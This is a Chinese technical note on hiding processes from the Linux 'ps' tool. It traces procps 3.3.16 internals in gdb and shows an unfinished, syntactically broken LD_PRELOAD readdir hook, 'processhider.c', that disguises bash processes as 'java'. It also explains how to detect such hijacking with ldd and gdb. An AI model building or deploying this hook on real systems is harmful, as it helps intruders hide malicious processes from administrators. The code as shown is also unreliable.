

procps进程隐藏

- 劫持readdir函数

环境搭建

源码下载

- 检查系统对应的procps源码版本

```
apt show procps
```

- 下载对应版本源码

<https://github.com/warmchang/procps/tree/v3.3.16>

- 本次测试环境Ubuntu 20.04 + procps 3.3.16

环境配置

- 安装编译环境依赖

```
apt install gettext autopoint libtool libtool-bin libncurses-dev
```

- 编译

```
./autogen.sh
./configure --prefix=`pwd`/bin
make
make install
```

源码分析

- openproc初始化
- readproc进程数据读入
- show_one_proc输出数据

编译后的生成文件路径

/home/re/Desktop/linux-src/procps/procps-3.3.16/bin

源码路径

/home/re/Desktop/linux-src/procps/procps-3.3.16/

- 要分析的文件位于configure prefix目录中的 bin/ps，手动编译的ps程序是带有调试符号，用 gdb 跟踪调试一下，main函数位于源码目录中的 ps/display.c

```
(gdb) set environment LD_PRELOAD ../lib/libprocps.so.8
(gdb) show environment
(gdb) r -aux
```

- 运行调试到672-673行，发现根据是否指定forest/sort参数执行 fancy_spew 或 simple_spew 函数，simple_spew 函数对应的源码位于 ps/display.c:340

```
672 if(forest_type || sort_list) fancy_spew(); /* sort or forest */
673 else simple_spew(); /* no sort, no forest */
674 show_one_proc((proc_t *)-1,format_list); /* no output yet? */
```

```
340 /***** just display */
341 static void simple_spew(void){
342     static proc_t buf, buf2;          // static avoids memset
343     PROCTAB* ptp;
344     pid_t* pidlist;
345     int flags;
346     int i;
347
348     pidlist = NULL;
349     flags = needs_for_format | needs_for_sort | needs_for_select |
needs_for_threads;

....
365
366     ptp = openproc(flags, pidlist);
367     if(!ptp) {
368         fprintf(stderr, _("error: can not access /proc\n"));
369         exit(1);
370     }
```

- 这两个函数都会调用 openproc，openproc 函数都位于编译后的lib目录 lib/libprocps.so.8。进入到 lib/libprocps.so.8，这个函数对应的源码位于 proc/readproc.c:1440。此函数主要用于对 PROCTAB 结构体绑定成员函数和一些初始化操作

```
198 typedef struct PROCTAB {
199     DIR*      procfs;
200     // char debug0[64];
201     DIR*      taskdir; // for threads
202     // char debug1[64];
203     pid_t      taskdir_user; // for threads
204     int        did_fake; // used when taskdir is missing
205     int(*finder)(struct PROCTAB *__restrict const, proc_t *__restrict
const);
206     proc_t*(*reader)(struct PROCTAB *__restrict const, proc_t
*__restrict const);
207     int(*taskfinder)(struct PROCTAB *__restrict const, const proc_t
*__restrict const, proc_t *__restrict const, char *__restrict const);
208     proc_t*(*taskreader)(struct PROCTAB *__restrict const, const proc_t
*__restrict const, proc_t *__restrict const, char *__restrict const);
209     pid_t*     pids; // pids of the procs
210     uid_t*     uids; // uids of procs
211     int        nuid; // cannot really sentinel-terminate unsigned
short[]
212     int        i; // generic
213     unsigned    flags;
214     unsigned    u; // generic
```

```

215     void *      vp; // generic
216     char        path[PROCPATHLEN]; // must hold
/proc/2000222000/task/2000222000/cmdline
217     unsigned pathlen;          // length of string in the above (w/o '\0')
218 } PROCTAB;

```

```

1439 // initiate a process table scan
1440 PROCTAB* openproc(int flags, ...) {
1441     va_list ap;
1442     struct stat sbuf;
1443     static int did_stat;
1444     PROCTAB* PT = xcalloc(sizeof(PROCTAB));
1445
1446     if (!did_stat){
1447         task_dir_missing = stat("/proc/self/task", &sbuf);
1448         did_stat = 1;
1449     }
1450     PT->taskdir = NULL;
1451     PT->taskdir_user = -1;
1452     PT->taskfinder = simple_nexttid;
1453     PT->taskreader = simple_readtask;
1454
1455     PT->reader = simple_readproc;
1456     if (flags & PROC_PID){
1457         PT->procfs = NULL;
1458         PT->finder = listed_nextpid;
1459     }else{
1460         PT->procfs = opendir("/proc");
1461         if (!PT->procfs) { free(PT); return NULL; }
1462         PT->finder = simple_nextpid;
1463     }
1464     PT->flags = flags;
1465
1466     va_start(ap, flags);
1467     if (flags & PROC_PID)
1468         PT->pids = va_arg(ap, pid_t*);
1469     else if (flags & PROC_UID){
1470         PT->uids = va_arg(ap, uid_t*);
1471         PT->nuid = va_arg(ap, int);
1472     }
1473     va_end(ap);
1474
1475     if (!src_buffer){
1476         src_buffer = xmalloc(MAX_BUFSZ);
1477         dst_buffer = xmalloc(MAX_BUFSZ);
1478     }
1479     return PT;
1480 }

```

- 初始化结束后回到 `simple_spew` 函数 `ps/display.c:371`。根据参数中不同的选项执行不同的操作，在 `aux` 参数下只会进入第一个分支

```

370 }
371 switch(thread_flags & (TF_show_proc|TF_loose_tasks|TF_show_task)){
372 case TF_show_proc:                // normal non-thread output
373     while(readproc(ptp,&buf)){
374         if(want_this_proc(&buf)){
375             show_one_proc(&buf, proc_format_list);
376         }
377     }
378     break;
379 case TF_show_proc|TF_loose_tasks:  // H option
....
388 case TF_show_proc|TF_show_task:   // m and -m options
....
397 case TF_show_task:               // -L and -T options
....

```

- readproc 函数位于 proc/readproc.c:1296，可以看到在1316行的 PT->reader 函数将进程数据进行读入，跟进 PT->reader 函数

```

1285
////////////////////////////////////
//
1286 /* readproc: return a pointer to a proc_t filled with requested info
about the
1287 * next process available matching the restriction set.  If no more such
1288 * processes are available, return a null pointer (boolean false).  Use
the
1289 * passed buffer instead of allocating space if it is non-NULL.  */
1290
1291 /* This is optimized so that if a PID list is given, only those files
are
1292 * searched for in /proc.  If other lists are given in addition to the
PID list,
1293 * the same logic can follow through as for the no-PID list case.  This
is
1294 * fairly complex, but it does try to not to do any unnecessary work.
1295 */
1296 proc_t* readproc(PROCTAB *restrict const PT, proc_t *restrict p) {
1297     proc_t *ret;
1298     proc_t *saved_p;
1299
1300     PT->did_fake=0;
1301     // if (PT->taskdir) {
1302     //     closedir(PT->taskdir);
1303     //     PT->taskdir = NULL;
1304     //     PT->taskdir_user = -1;
1305     // }
1306
1307     saved_p = p;
1308     if(!p) p = xcalloc(sizeof *p);
1309     else free_acquired(p, 1);
1310
1311     for(;;){
1312         // fills in the path, plus p->tid and p->tgid
1313         if (unlikely(!PT->finder(PT,p))) goto out;
1314

```

```

1315     // go read the process data
1316     ret = PT->reader(PT,p);
1317     if(ret) return ret;
1318 }
1319
1320 out:
1321 if(!saved_p) free(p);
1322 // FIXME: maybe set tid to -1 here, for "-" in display?
1323 return NULL;
1324 }

```

- backtrace

```

pwndbg> backtrace
#0  simple_nextpid (PT=0x5555555a6570, p=0x555555576580 <buf>) at
proc/readproc.c:1235
#1  0x00007ffff7fa87e7 in readproc (PT=0x5555555a6570, p=0x555555576580 <buf>) at
proc/readproc.c:1313
#2  0x00005555555f314 in simple_spew () at ps/display.c:373
#3  main (argc=argc@entry=2, argv=argv@entry=0x7fffffffdf8) at ps/display.c:673
#4  0x00007ffff7dc00b3 in __libc_start_main (main=0x5555555eb60 <main>, argc=2,
argv=0x7fffffffdf8, init=<optimized out>, fini=<optimized out>, rtd_fini=
<optimized out>, stack_end=0x7fffffffdf8) at ../csu/libc-start.c:308
#5  0x00005555555f5ce in _start ()

```

实战（暂未完成）

processhider.c(源码还需修改)

```

#define _GNU_SOURCE

#include <sys/types.h>
#include <dirent.h>
#include <dlfcn.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>

struct dirent* readdir(DIR* dirp)
{
    //get original readdir pointer
    struct dirent* (*target_readdir)(DIR*);
    target_readdir = dlsym(RTLD_NEXT, "readdir");

    //get original dir
    struct dirent* dir;
    dir = target_readdir(dirp);

    if(!dir)
    {
        return 0;
    }
}

```

```

char proc_path[0x1000];
snprintf(proc_path, sizeof(dir->d_name)+0xA, "/proc/%s/exe", dir->d_name);

char exec_path[0x1000];
int ret = readlink(proc_path, exec_path, sizeof(exec_path));

if(ret == -1)
{
    return dir;
}

printf("%s\n", exec_path);

if(strstr(exec_path, "bash"))
{
    memset(exec_path, '\0', sizeof(exec_path));
    memcpy(dir->d_name, "java", sizeof(dir->d_name));
    printf("%s\n", dir->d_name);
    return dir;
}
else
{
    memset(exec_path, '\0', sizeof(exec_path));
    return dir;
}
}
//一次完成, 最后return 0?

```

编译

```
gcc processhider.c -o processhider.so -fPIC -shared -ldl -g
```

排查

ldd + gdb

- 通过ldd命令查看so加载顺序

```

re@ubuntu:~/Desktop/code/processhider$ ldd /bin/ps
linux-vdso.so.1 (0x00007ffc488fb000)
/home/re/Desktop/code/processhider/processhider.so (0x00007f10477d1000)
libprocps.so.8 => /lib/x86_64-linux-gnu/libprocps.so.8 (0x00007f1047795000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f104778f000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f104759d000)
libsystemd.so.0 => /lib/x86_64-linux-gnu/libsystemd.so.0 (0x00007f10474ee000)
/lib64/ld-linux-x86-64.so.2 (0x00007f104781c000)
librt.so.1 => /lib/x86_64-linux-gnu/librt.so.1 (0x00007f10474e3000)
liblzma.so.5 => /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007f10474ba000)
liblz4.so.1 => /lib/x86_64-linux-gnu/liblz4.so.1 (0x00007f1047499000)
libgcrypt.so.20 => /lib/x86_64-linux-gnu/libgcrypt.so.20 (0x00007f104737b000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f1047358000)
libgpg-error.so.0 => /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007f1047335000)

```

如果在 libprocps.so 前面发现有其他so文件被加载, 说明存在了so劫持情况

- 如何证明 readir 函数来自被劫持的so (可选)

1. 下载 debug 版本的 ps，测试版本只使用 procps-3.3.16，[下载地址](#)
2. 使用 gdb 调试，首先在 main 下断点，然后 r 运行，此时用 vmmap 观察内存布局，发现被劫持的 so 的代码部分位于 0x7ffff7fc3000 到 0x7ffff7fc4000 地址处

```
0x7ffff7f7f000 0x7ffff7f82000 rw-p 3000 1ea000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7f82000 0x7ffff7f86000 rw-p 4000 0 [anon_7ffff7f82]
0x7ffff7f9a000 0x7ffff7f9e000 r--p 4000 0 /home/re/Desktop/code/processhider/procps-3.3.16/bin/lib/
libprocps.so.8.0.2
0x7ffff7f9e000 0x7ffff7fa8000 r-xp a000 4000 /home/re/Desktop/code/processhider/procps-3.3.16/bin/lib/
libprocps.so.8.0.2
0x7ffff7fa8000 0x7ffff7fac000 r--p 4000 e000 /home/re/Desktop/code/processhider/procps-3.3.16/bin/lib/
libprocps.so.8.0.2
0x7ffff7fac000 0x7ffff7fae000 r--p 2000 11000 /home/re/Desktop/code/processhider/procps-3.3.16/bin/lib/
libprocps.so.8.0.2
0x7ffff7fae000 0x7ffff7faf000 rw-p 1000 13000 /home/re/Desktop/code/processhider/procps-3.3.16/bin/lib/
libprocps.so.8.0.2
0x7ffff7faf000 0x7ffff7fc2000 rw-p 13000 0 [anon_7ffff7faf]
0x7ffff7fc2000 0x7ffff7fc3000 r--p 1000 0 /home/re/Desktop/code/processhider/processhider.so
0x7ffff7fc3000 0x7ffff7fc4000 r-xp 1000 1000 /home/re/Desktop/code/processhider/processhider.so
0x7ffff7fc4000 0x7ffff7fc5000 r--p 1000 2000 /home/re/Desktop/code/processhider/processhider.so
0x7ffff7fc5000 0x7ffff7fc6000 r--p 1000 2000 /home/re/Desktop/code/processhider/processhider.so
0x7ffff7fc6000 0x7ffff7fc7000 rw-p 1000 3000 /home/re/Desktop/code/processhider/processhider.so
0x7ffff7fc7000 0x7ffff7fc9000 rw-p 2000 0 [anon_7ffff7fc7]
0x7ffff7fc9000 0x7ffff7fcd000 r--p 4000 0 [vvar]
0x7ffff7fcd000 0x7ffff7fcf000 r-xp 2000 0 [vdso]
0x7ffff7fcf000 0x7ffff7fd0000 r--p 1000 0 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7fd0000 0x7ffff7ff3000 r-xp 23000 1000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ff3000 0x7ffff7ffb000 r--p 8000 24000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ffb000 0x7ffff7ffd000 r--p 1000 2c000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 2d000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 [anon_7ffff7ffe]
0x7ffff7fff000 0x7ffff7fff000 rw-p 21000 0 [stack]
0xfffffffff600000 0xfffffffff601000 --xp 1000 0 [vsyscall]
```

3. 在 readdir 下断点，c 继续运行，看其地址是否位于 0x7ffff7fc3000 到 0x7ffff7fc4000 之间

```
[ BACKTRACE ]
> f 0 0x7ffff7fc31d9 readdir
f 1 0x7ffff7fa0e6a simple_nextpid+26
f 2 0x7ffff7fa37e7 readproc+343
f 3 0x5555555f314 main+1972
f 4 0x5555555f314 main+1972
f 5 0x7ffff7dbb0b3 __libc_start_main+243

pwndbg> p readdir
$1 = {struct dirent *(DIR *)} 0x7ffff7fc31d9 <readdir>
pwndbg>
```

- 注：该场景不能使用 ltrace 工具，原因如下

1. ltrace 只在 lazybind 编译模式下生效，默认为 now，如果需要修改编译参数可以在 Makefile 中的 CFLAGS 变量处添加 -z lazy
2. 调用 readdir 函数的行为发生在 libprocps.so 中，并不在主程序，ltrace 不具备递归跟踪的功能